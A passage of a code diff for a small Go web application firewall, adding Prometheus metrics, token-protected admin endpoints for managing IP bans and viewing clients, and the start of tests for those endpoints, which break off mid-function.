+	rateLimitHits    *prometheus.CounterVec
+	offences         *prometheus.CounterVec
+	wafMatches       *prometheus.CounterVec
+	// ruleMatches are made by AddRules, and reputationHits by
+	// AddReputation.
+	ruleMatches    *prometheus.CounterVec
+	reputationHits *prometheus.CounterVec
+	countries      *busiest
+	asns           *busiest
+
+	// GeoJSRequests are the requests to GeoJS, and GeoJSFailures those
+	// that failed. GeoJSUnanswered are the requests that needed their
+	// client's answer, for a setting that acts on it, and went on without
+	// it because GeoJS had not given it in time.
+	GeoJSRequests   prometheus.Counter
+	GeoJSFailures   prometheus.Counter
+	GeoJSUnanswered prometheus.Counter
+
+	stateFileWrites        *prometheus.CounterVec
+	stateFileWriteFailures *prometheus.CounterVec
+	stateFileLastWrite     *prometheus.GaugeVec
+	stateFileSize          *prometheus.GaugeVec
+	stateFileEditsTakenIn  *prometheus.CounterVec
+	stateFileEditsSetAside *prometheus.CounterVec
+}
+
+// New returns the metrics, with the Go runtime's and the process's own.
+// topN is how many countries and how many AS numbers get series of their
+// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
+// (SWWAF_INSTANCE_NAME) as its label instance.
+//
+//nolint:funlen // a few lines for each metric, a list that grows with them
+func New(topN int, instanceName string) *Metrics {
+	byStatus := []string{"status_class", "action"}
+	byFile := []string{"file"}
+	registry := prometheus.NewRegistry()
+
+	m := &Metrics{
+		registry: prometheus.WrapRegistererWith(
+			prometheus.Labels{"instance": instanceName}, registry),
+		handler: promhttp.HandlerFor(registry, promhttp.HandlerOpts{}),
+		inFlight: prometheus.NewGauge(prometheus.GaugeOpts{
+			Name: "smallwebwaf_requests_in_flight",
+			Help: "Requests under way.",
+		}),
+		requests: counterVec("smallwebwaf_requests_total",
+			"Requests, by the class of their status and their action.", byStatus),
+		requestBytes: counterVec("smallwebwaf_request_bytes_total",
+			"Request body bytes, by the class of the status and the action.",
+			byStatus),
+		responseBytes: counterVec("smallwebwaf_response_bytes_total",
+			"Response body bytes, by the class of the status and the action.",
+			byStatus),
+		requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
+			Name: "smallwebwaf_request_duration_seconds",
+			Help: "How long requests took, from their arrival to their end.",
+		}),
+		upstreamDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
+			Name: "smallwebwaf_upstream_duration_seconds",
+			Help: "How long requests passed to the app took, from then to their end.",
+		}),
+		rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
+			"Requests that broke a rate limit, a byte limit or the error burst, by "+
+				"its window and its kind, requests, bytes or refusals.",
+			[]string{"window", "kind"}),
+		offences: counterVec("smallwebwaf_offences_total",
+			"Offences, by kind.", []string{"kind"}),
+		wafMatches: counterVec("smallwebwaf_waf_matches_total",
+			"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
+				"and the rule's id.", []string{"mode", "rule_id"}),
+		countries: newCountries(topN),
+		asns:      newASNs(topN),
+		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
+			Name: "smallwebwaf_geojs_requests_total",
+			Help: "Requests to GeoJS.",
+		}),
+		GeoJSFailures: prometheus.NewCounter(prometheus.CounterOpts{
+			Name: "smallwebwaf_geojs_failures_total",
+			Help: "Requests to GeoJS that failed.",
+		}),
+		GeoJSUnanswered: prometheus.NewCounter(prometheus.CounterOpts{
+			Name: "smallwebwaf_geojs_unanswered_total",
+			Help: "Requests that needed their client's answer from GeoJS and " +
+				"went on without it, because GeoJS had not given it in time.",
+		}),
+		stateFileWrites: counterVec("smallwebwaf_state_file_writes_total",
+			"Writes of each state file.", byFile),
+		stateFileWriteFailures: counterVec("smallwebwaf_state_file_write_failures_total",
+			"Writes of each state file that failed.", byFile),
+		stateFileLastWrite: gaugeVec("smallwebwaf_state_file_last_write_timestamp_seconds",
+			"When each state file was last written, in seconds since 1970.", byFile),
+		stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes",
+			"The size of each state file, as it was last written.", byFile),
+		stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total",
+			"Edits of each state file taken in while running.", byFile),
+		stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total",
+			"Edits of each state file renamed to <name>.bad because they did not parse.",
+			byFile),
+	}
+
+	m.registry.MustRegister(
+		collectors.NewGoCollector(),
+		collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
+		m.inFlight, m.requests, m.requestBytes, m.responseBytes,
+		m.requestDuration, m.upstreamDuration,
+		m.rateLimitHits, m.offences, m.wafMatches,
+		m.countries, m.asns,
+		m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
+		m.stateFileWrites, m.stateFileWriteFailures,
+		m.stateFileLastWrite, m.stateFileSize,
+		m.stateFileEditsTakenIn, m.stateFileEditsSetAside,
+	)
+
+	return m
+}
+
+// AddBansAndClients adds the metrics read from the ledger and the table
+// of clients as the metrics are asked for: the bans made since the start,
+// by cause, the bans active and permanent at now, and the clients in the
+// table.
+func (m *Metrics) AddBansAndClients(
+	ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
+) {
+	for _, cause := range []string{
+		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
+	} {
+		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name:        "smallwebwaf_bans_made_total",
+			Help:        "Bans made, by cause.",
+			ConstLabels: prometheus.Labels{"cause": cause},
+		}, func() float64 {
+			return float64(ledger.Made(cause))
+		}))
+	}
+
+	m.registry.MustRegister(
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_active_bans",
+			Help: "Bans active now, the permanent ones included.",
+		}, func() float64 {
+			active, _ := ledger.Count(now())
+
+			return float64(active)
+		}),
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_permanent_bans",
+			Help: "Permanent bans not lifted.",
+		}, func() float64 {
+			_, permanent := ledger.Count(now())
+
+			return float64(permanent)
+		}),
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_tracked_clients",
+			Help: "Clients in the table of clients.",
+		}, func() float64 {
+			return float64(limiter.Len())
+		}),
+	)
+}
+
+// AddRules adds the metrics of the rule files: the requests that matched
+// each rule, which RuleMatched counts, and the rules loaded from
+// ruleFiles, read as the metrics are asked for. It is called once, before
+// RuleMatched.
+func (m *Metrics) AddRules(ruleFiles *rules.Files) {
+	m.ruleMatches = counterVec("smallwebwaf_rule_matches_total",
+		"Requests that matched a rule of the rule files, by its id and action.",
+		[]string{"rule_id", "action"})
+
+	m.registry.MustRegister(m.ruleMatches,
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_rules_loaded",
+			Help: "Rules loaded from the rule files.",
+		}, func() float64 {
+			return float64(ruleFiles.Len())
+		}))
+}
+
+// AddRemoteLog adds the metrics of sending the log lines to
+// SWWAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
+// lines sent, those dropped, and those waiting in the buffer.
+func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
+	m.registry.MustRegister(
+		prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name: "smallwebwaf_remote_log_lines_sent_total",
+			Help: "Log lines sent to SWWAF_LOG_REMOTE_URL.",
+		}, func() float64 {
+			return float64(remote.Sent())
+		}),
+		prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name: "smallwebwaf_remote_log_lines_dropped_total",
+			Help: "Log lines dropped: the oldest in a full buffer, and those " +
+				"whose sending failed.",
+		}, func() float64 {
+			return float64(remote.Dropped())
+		}),
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_remote_log_buffer_depth",
+			Help: "Log lines in the buffer, waiting to be sent.",
+		}, func() float64 {
+			return float64(remote.Depth())
+		}),
+	)
+}
+
+// AddLookupFile adds the metrics of the lookup database, read as the
+// metrics are asked for: when the file in use was read, which lastRead
+// returns, and the replacements of it that could not be read, which
+// readFailures returns. The lookup package's File, which has both, cannot
+// be named here: that package counts GeoJS's requests in these metrics.
+func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
+	m.registry.MustRegister(
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds",
+			Help: "When the lookup database in use was read, in seconds since 1970.",
+		}, func() float64 {
+			return float64(lastRead().Unix())
+		}),
+		prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name: "smallwebwaf_lookup_database_read_failures_total",
+			Help: "Replacements of the lookup database that could not be read.",
+		}, func() float64 {
+			return float64(readFailures())
+		}),
+	)
+}
+
+// sourceLabel is the label of the reputation metrics: a list's URL, a
+// DNSBL zone, its key masked, or abuseipdb.
+const sourceLabel = "source"
+
+// AddReputation adds the metrics of the lists fetched from URLs and of the
+// DNSBL zones, by source, each list's URL or each zone, its key masked as
+// config.MaskZoneKey masks it: the requests whose client a blocklist, the
+// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
+// which ReputationHit counts, and, read from lists and dnsbl as the
+// metrics are asked for, for a list, the fetches that failed and when the
+// copy in use was fetched, and for a zone, the queries made and those that
+// failed. It is called once, before ReputationHit.
+func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
+	m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
+		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
+			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
+		[]string{sourceLabel})
+	m.registry.MustRegister(m.reputationHits)
+
+	for _, zone := range dnsbl.Zones() {
+		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
+
+		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
+		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
+	}
+
+	for _, listURL := range lists.URLs() {
+		source := prometheus.Labels{sourceLabel: listURL}
+
+		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
+		m.registry.MustRegister(
+			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+				Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
+				Help: "When the copy of the list in use was fetched, in seconds since " +
+					"1970, or 0 while there is none.",
+				ConstLabels: source,
+			}, func() float64 {
+				fetched := lists.Fetched(listURL)
+				if fetched.IsZero() {
+					return 0
+				}
+
+				return float64(fetched.Unix())
+			}),
+		)
+	}
+}
+
+// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
+// read from abuseIPDB as the metrics are asked for: the checks made, those
+// that failed, and how many checks the day's budget has left. It is
+// called once, after AddReputation, while SWWAF_ABUSEIPDB_KEY is set.
+func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
+	source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
+
+	m.addReputationQueries(source, abuseIPDB.Checked)
+	m.addReputationFailures(source, abuseIPDB.Failures)
+	m.registry.MustRegister(
+		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
+			Name:        "smallwebwaf_reputation_daily_budget_remaining",
+			Help:        "Checks of the day's SWWAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
+			ConstLabels: source,
+		}, func() float64 {
+			return float64(abuseIPDB.BudgetLeft())
+		}),
+	)
+}
+
+// ReputationHit counts a request whose client source lists: a blocklist
+// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked,
+// or AbuseIPDB, abuseipdb.
+func (m *Metrics) ReputationHit(source string) {
+	m.reputationHits.WithLabelValues(source).Inc()
+}
+
+// AddAlerts adds the metrics of the alerts sent to each destination set,
+// read from queue as the metrics are asked for, by destination: the
+// alerts sent, the requests to the destination that failed, the alerts
+// held back, which are the same for every destination, and those
+// dropped. With no destination set, it adds none.
+func (m *Metrics) AddAlerts(queue *alerts.Queue) {
+	for _, name := range queue.DestinationsSet() {
+		destination := prometheus.Labels{"destination": name}
+
+		m.registry.MustRegister(
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name:        "smallwebwaf_alerts_sent_total",
+				Help:        "Alerts the destination took.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Sent)
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name:        "smallwebwaf_alerts_failed_total",
+				Help:        "Requests to the destination that failed.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Failed)
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name: "smallwebwaf_alerts_suppressed_total",
+				Help: "Alerts held back: repeats within SWWAF_ALERT_COOLDOWN, and " +
+					"alerts past SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Suppressed())
+			}),
+			prometheus.NewCounterFunc(prometheus.CounterOpts{
+				Name: "smallwebwaf_alerts_dropped_total",
+				Help: "Alerts dropped, the oldest first, from a full queue, and " +
+					"alerts given up as the destination refused them.",
+				ConstLabels: destination,
+			}, func() float64 {
+				return float64(queue.Counts(name).Dropped)
+			}),
+		)
+	}
+}
+
+// ServeHTTP answers with the metrics in the Prometheus text format.
+func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) {
+	m.handler.ServeHTTP(w, r)
+}
+
+// RequestStarted counts a request as under way.
+func (m *Metrics) RequestStarted() {
+	m.inFlight.Inc()
+}
+
+// RequestEnded counts a request that has ended without being passed to the app,
+// from its log line. duration is how long the request took.
+func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
+	m.inFlight.Dec()
+	m.count(line, duration, 0)
+}
+
+// RequestAllowed counts a question of rproxy's, answered allow, as no longer
+// under way. RequestReported counts the request it was about.
+func (m *Metrics) RequestAllowed() {
+	m.inFlight.Dec()
+}
+
+// RequestReported counts a request rproxy passed to the app, from what its
+// report says, which line holds: duration is how long the request took, and
+// upstreamDuration how long it took from when it was passed to the app.
+func (m *Metrics) RequestReported(
+	line *requestlog.Line, duration, upstreamDuration time.Duration,
+) {
+	m.count(line, duration, upstreamDuration)
+}
+
+// LimitHit counts a request that broke a rate limit, a byte limit or the
+// error burst, by the window and the kind of hit.
+func (m *Metrics) LimitHit(hit ratelimit.Hit) {
+	m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
+}
+
+// Offences counts the offences of r, a request that has ended, as its
+// client's history counts them, by kind, named as clients.json names
+// them.
+func (m *Metrics) Offences(r ratelimit.Request) {
+	for kind, committed := range map[string]bool{
+		"limit":        r.BrokeLimit,
+		"attack":       r.Attack,
+		"rule_blocked": r.RuleBlocked,
+		"waf_blocked":  r.WAFBlocked,
+	} {
+		if committed {
+			m.offences.WithLabelValues(kind).Inc()
+		}
+	}
+}
+
+// RuleMatched counts a request that matched the rule id, whose action is
+// action.
+func (m *Metrics) RuleMatched(id, action string) {
+	m.ruleMatches.WithLabelValues(id, action).Inc()
+}
+
+// WAFMatched counts a request that matched the Core Rule Set's rule id,
+// with SWWAF_WAF_MODE at mode.
+func (m *Metrics) WAFMatched(mode string, id int) {
+	m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
+}
+
+// StateFileWritten counts a write of the state file name, of size bytes,
+// that ended with err.
+func (m *Metrics) StateFileWritten(name string, size int, err error) {
+	m.stateFileWrites.WithLabelValues(name).Inc()
+
+	// The series of failures is there from the first write, at zero until
+	// one fails.
+	failures := m.stateFileWriteFailures.WithLabelValues(name)
+
+	if err != nil {
+		failures.Inc()
+
+		return
+	}
+
+	m.stateFileLastWrite.WithLabelValues(name).SetToCurrentTime()
+	m.stateFileSize.WithLabelValues(name).Set(float64(size))
+}
+
+// StateFileEditTakenIn counts an admin's edit of the state file name
+// taken in while smallwebwaf runs.
+func (m *Metrics) StateFileEditTakenIn(name string) {
+	m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
+}
+
+// StateFileEditSetAside counts an admin's edit of the state file name
+// renamed to name.bad because it did not parse.
+func (m *Metrics) StateFileEditSetAside(name string) {
+	m.stateFileEditsSetAside.WithLabelValues(name).Inc()
+}
+
+// count counts a request that has ended, as RequestEnded and RequestReported
+// describe.
+func (m *Metrics) count(
+	line *requestlog.Line, duration, upstreamDuration time.Duration,
+) {
+	class := statusClass(line.Status)
+	m.requests.WithLabelValues(class, line.Action).Inc()
+	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
+	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
+	m.requestDuration.Observe(duration.Seconds())
+
+	if upstreamDuration > 0 {
+		m.upstreamDuration.Observe(upstreamDuration.Seconds())
+	}
+
+	if line.Country != "" {
+		m.countries.add(line.Country, line)
+	}
+
+	if line.ASN != "" {
+		m.asns.add(line.ASN, line)
+	}
+}
+
+// addReputationQueries adds the counter of the queries to source, a DNSBL
+// zone, or of the checks of clients with AbuseIPDB, which count tells.
+func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
+	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+		Name:        "smallwebwaf_reputation_queries_total",
+		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
+		ConstLabels: source,
+	}, func() float64 {
+		return float64(count())
+	}))
+}
+
+// addReputationFailures adds the counter of the fetches of source, a
+// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
+// that failed, which count tells.
+func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
+	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
+		Name: "smallwebwaf_reputation_failures_total",
+		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
+			"AbuseIPDB, that failed.",
+		ConstLabels: source,
+	}, func() float64 {
+		return float64(count())
+	}))
+}
+
+// statusClass returns the class of status, such as 2xx, or none when no
+// status was sent.
+func statusClass(status int) string {
+	if status == 0 {
+		return "none"
+	}
+
+	// A status's class is its hundreds: 404 is in 4xx.
+	const hundred = 100
+
+	return strconv.Itoa(status/hundred) + "xx"
+}
+
+// counterVec returns a counter named name, described by help, with a
+// series for each set of values of labels.
+func counterVec(name, help string, labels []string) *prometheus.CounterVec {
+	return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
+		labels)
+}
+
+// gaugeVec returns a gauge named name, described by help, with a series
+// for each set of values of labels.
+func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
+	return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
+}

internal/proxy/admin.go

@@ -0,0 +1,306 @@
+package proxy
+
+import (
+	"bytes"
+	"crypto/subtle"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"net/netip"
+	"strings"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/state"
+)
+
+// banBodyMaxBytes is the most of the body of a request to add a ban that
+// is read; its three fields need far less.
+const banBodyMaxBytes = 4 << 10
+
+// permanent is how the log line and the ban endpoint name a ban that
+// never ends.
+const permanent = "permanent"
+
+var (
+	errNotBanToAdd = errors.New(
+		"the body is not a JSON object of netblock, duration and reason")
+	errNotNetblock = errors.New(
+		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
+	errMappedNetblock = errors.New(
+		"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
+	errZone        = errors.New("has a zone, which a netblock cannot have")
+	errNotDuration = errors.New(
+		"is not a duration above zero, such as 1h or 7d, or permanent")
+	errNotAddress = errors.New("is not an address, such as 203.0.113.9")
+)
+
+// answerHealth answers a request for the health endpoint.
+func (rq *request) answerHealth() {
+	rq.line.Action = requestlog.ActionAdmin
+	// Set here rather than left to Go's server, which would set it only
+	// after the log line has taken the response's headers.
+	rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
+	_, _ = io.WriteString(rq.out, "ok\n")
+}
+
+// answerAdmin answers a request for one of servewaf's own endpoints. Each
+// needs a token, sent as Authorization: Bearer <token>: the metrics
+// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
+// refused with 401. An endpoint whose token is unset answers 404, as any other
+// path does.
+func (rq *request) answerAdmin() {
+	rq.line.Action = requestlog.ActionAdmin
+
+	token, answer := rq.endpoint()
+
+	switch {
+	case token == "":
+		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+	case !hasToken(rq.in, token):
+		rq.out.Header().Set("WWW-Authenticate", "Bearer")
+		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
+	default:
+		answer()
+	}
+}
+
+// endpoint returns the token the request's endpoint needs, and what
+// answers the request there; "" when there is no such endpoint.
+func (rq *request) endpoint() (string, func()) {
+	cfg := rq.h.config
+	method, path := rq.in.Method, rq.in.URL.Path
+
+	switch {
+	case method == http.MethodGet && path == MetricsPath:
+		return cfg.MetricsToken, func() { rq.h.metrics.ServeHTTP(rq.out, rq.in) }
+	case method == http.MethodGet && path == BansPath:
+		return cfg.AdminToken, rq.listBans
+	case method == http.MethodPost && path == BansPath:
+		return cfg.AdminToken, rq.addBan
+	case method == http.MethodDelete && strings.HasPrefix(path, BansPath+"/"):
+		return cfg.AdminToken, rq.liftBans
+	case method == http.MethodGet && strings.HasPrefix(path, ClientsPath):
+		return cfg.AdminToken, rq.showClient
+	default:
+		return "", nil
+	}
+}
+
+// hasToken reports whether r carries token, as Authorization: Bearer
+// <token>.
+func hasToken(r *http.Request, token string) bool {
+	scheme, sent, _ := strings.Cut(r.Header.Get("Authorization"), " ")
+
+	return strings.EqualFold(scheme, "Bearer") &&
+		subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1
+}
+
+// listBans answers GET BansPath with every ban held.
+func (rq *request) listBans() {
+	rq.answerBans(rq.h.ledger.Snapshot())
+}
+
+// banToAdd is the body of POST BansPath.
+type banToAdd struct {
+	// Netblock is a netblock, or a client's address, which stands for the
+	// netblock a ban on that client covers.
+	Netblock string `json:"netblock"`
+	// Duration is how long the ban lasts, as a setting gives a duration,
+	// or permanent.
+	Duration string `json:"duration"`
+	Reason   string `json:"reason"`
+}
+
+// addBan answers POST BansPath: it bans the netblock the body names, as
+// an admin, from now for the duration the body gives, with its reason,
+// and answers with that ban.
+func (rq *request) addBan() {
+	toAdd, err := rq.readBanToAdd()
+
+	var (
+		netblock netip.Prefix
+		expires  time.Time
+		now      = rq.h.now()
+	)
+
+	if err == nil {
+		netblock, err = rq.h.banNetblock(toAdd.Netblock)
+	}
+
+	if err == nil {
+		expires, err = expiry(toAdd.Duration, now)
+	}
+
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	ban := rq.h.ledger.BanForAdmin(netblock, now, expires, toAdd.Reason)
+	rq.answerBans([]bans.Ban{ban})
+}
+
+// readBanToAdd reads the body of POST BansPath: a JSON object with
+// nothing but whitespace after it, in at most banBodyMaxBytes.
+func (rq *request) readBanToAdd() (banToAdd, error) {
+	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	rq.requestBytes = int64(len(data))
+
+	if err != nil {
+		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
+	}
+
+	var toAdd banToAdd
+
+	decoder := json.NewDecoder(bytes.NewReader(data))
+	decoder.DisallowUnknownFields()
+
+	err = decoder.Decode(&toAdd)
+	if err != nil {
+		return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err)
+	}
+
+	// Token returns io.EOF only when nothing but whitespace is left.
+	_, err = decoder.Token()
+	if !errors.Is(err, io.EOF) {
+		return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
+	}
+
+	return toAdd, nil
+}
+
+// banNetblock reads value, a netblock such as 203.0.113.0/24, or a
+// client's address, which stands for the netblock a ban on that client
+// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is
+// refused, since a client's address is looked up as IPv4 and a ban on it
+// would refuse nothing, and so is a value with a zone.
+func (h *handler) banNetblock(value string) (netip.Prefix, error) {
+	netblock, err := netip.ParsePrefix(value)
+	if err == nil {
+		if netblock.Addr().Is4In6() {
+			return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
+		}
+
+		return netblock, nil
+	}
+
+	// ParsePrefix refuses a zone, but ParseAddr reads the /48 of
+	// 2001:db8::1%x/48 as part of the zone.
+	addr, err := netip.ParseAddr(value)
+	if err != nil {
+		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
+	}
+
+	if addr.Zone() != "" {
+		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone)
+	}
+
+	return h.netblock(addr), nil
+}
+
+// expiry returns when a ban made at now for duration ends: duration
+// later, for a duration as a setting gives one, or zero for permanent.
+func expiry(duration string, now time.Time) (time.Time, error) {
+	if duration == permanent {
+		return time.Time{}, nil
+	}
+
+	length, err := config.ParseDurationNotOff(duration)
+	if err != nil {
+		return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
+	}
+
+	return now.Add(length), nil
+}
+
+// liftBans answers DELETE BansPath/<client>: it lifts every ban active on
+// a netblock the client's address is in, and answers with those bans, or
+// with 404 when none is active.
+func (rq *request) liftBans() {
+	client, err := pathAddress(rq.in.URL.Path, BansPath+"/")
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	lifted := rq.h.ledger.Lift(client, rq.h.now())
+	if len(lifted) == 0 {
+		http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
+
+		return
+	}
+
+	rq.answerBans(lifted)
+}
+
+// clientAnswer is the answer to GET ClientsPath<ip>: the client the
+// address is, as clients.json holds it, or null when the table of
+// clients does not hold it, and the bans on each netblock the address is
+// in, as bans.json lists them.
+type clientAnswer struct {
+	Client *ratelimit.Client `json:"client"`
+	Bans   []state.BanEntry  `json:"bans"`
+}
+
+// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
+// its counters, its history, which holds its country as last looked up and its
+// offences, and its bans with their notes.
+func (rq *request) showClient() {
+	addr, err := pathAddress(rq.in.URL.Path, ClientsPath)
+	if err != nil {
+		http.Error(rq.out, err.Error(), http.StatusBadRequest)
+
+		return
+	}
+
+	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
+
+	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
+	if seen {
+		answer.Client = &client
+	}
+
+	rq.answerJSON(answer)
+}
+
+// pathAddress reads the client's address that follows prefix in path.
+func pathAddress(path, prefix string) (netip.Addr, error) {
+	value := strings.TrimPrefix(path, prefix)
+
+	addr, err := netip.ParseAddr(value)
+	if err != nil {
+		return netip.Addr{}, fmt.Errorf("%q %w", value, errNotAddress)
+	}
+
+	return addr.Unmap(), nil
+}
+
+// answerBans answers with held under bans, as bans.json lists them.
+func (rq *request) answerBans(held []bans.Ban) {
+	rq.answerJSON(struct {
+		Bans []state.BanEntry `json:"bans"`
+	}{state.BanEntries(held)})
+}
+
+// answerJSON answers with value as indented JSON.
+func (rq *request) answerJSON(value any) {
+	body, err := json.MarshalIndent(value, "", "    ")
+	if err != nil {
+		rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
+		http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
+			http.StatusInternalServerError)
+
+		return
+	}
+
+	rq.out.Header().Set("Content-Type", "application/json")
+	_, _ = rq.out.Write(append(body, '\n'))
+}

internal/proxy/admin_test.go

@@ -0,0 +1,417 @@
+package proxy_test
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/state"
+)
+
+const (
+	adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
+	// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer
+	// how a request carries it.
+	adminSecret = "fedcba9876543210fedcba9876543210"
+	adminBearer = "Bearer " + adminSecret
+	// banOtherClient is the body of a request to ban otherClient for an
+	// hour.
+	banOtherClient = `{"netblock": "` + otherClient + `", "duration": "1h", ` +
+		`"reason": "probes for logins"}`
+)
+
+func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
+	t.Parallel()
+
+	// The metrics token is set, and opens none of them.
+	s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
+	server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
+		bans.Notes{})
+	before := server.Ledger.Snapshot()
+
+	// An empty token does not match the unset one either.
+	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
+		for _, e := range adminEndpoints() {
+			s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
+		}
+	}
+
+	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
+		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
+	}
+}
+
+func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		adminToken:   adminSecret,
+		metricsToken: token,
+	})
+
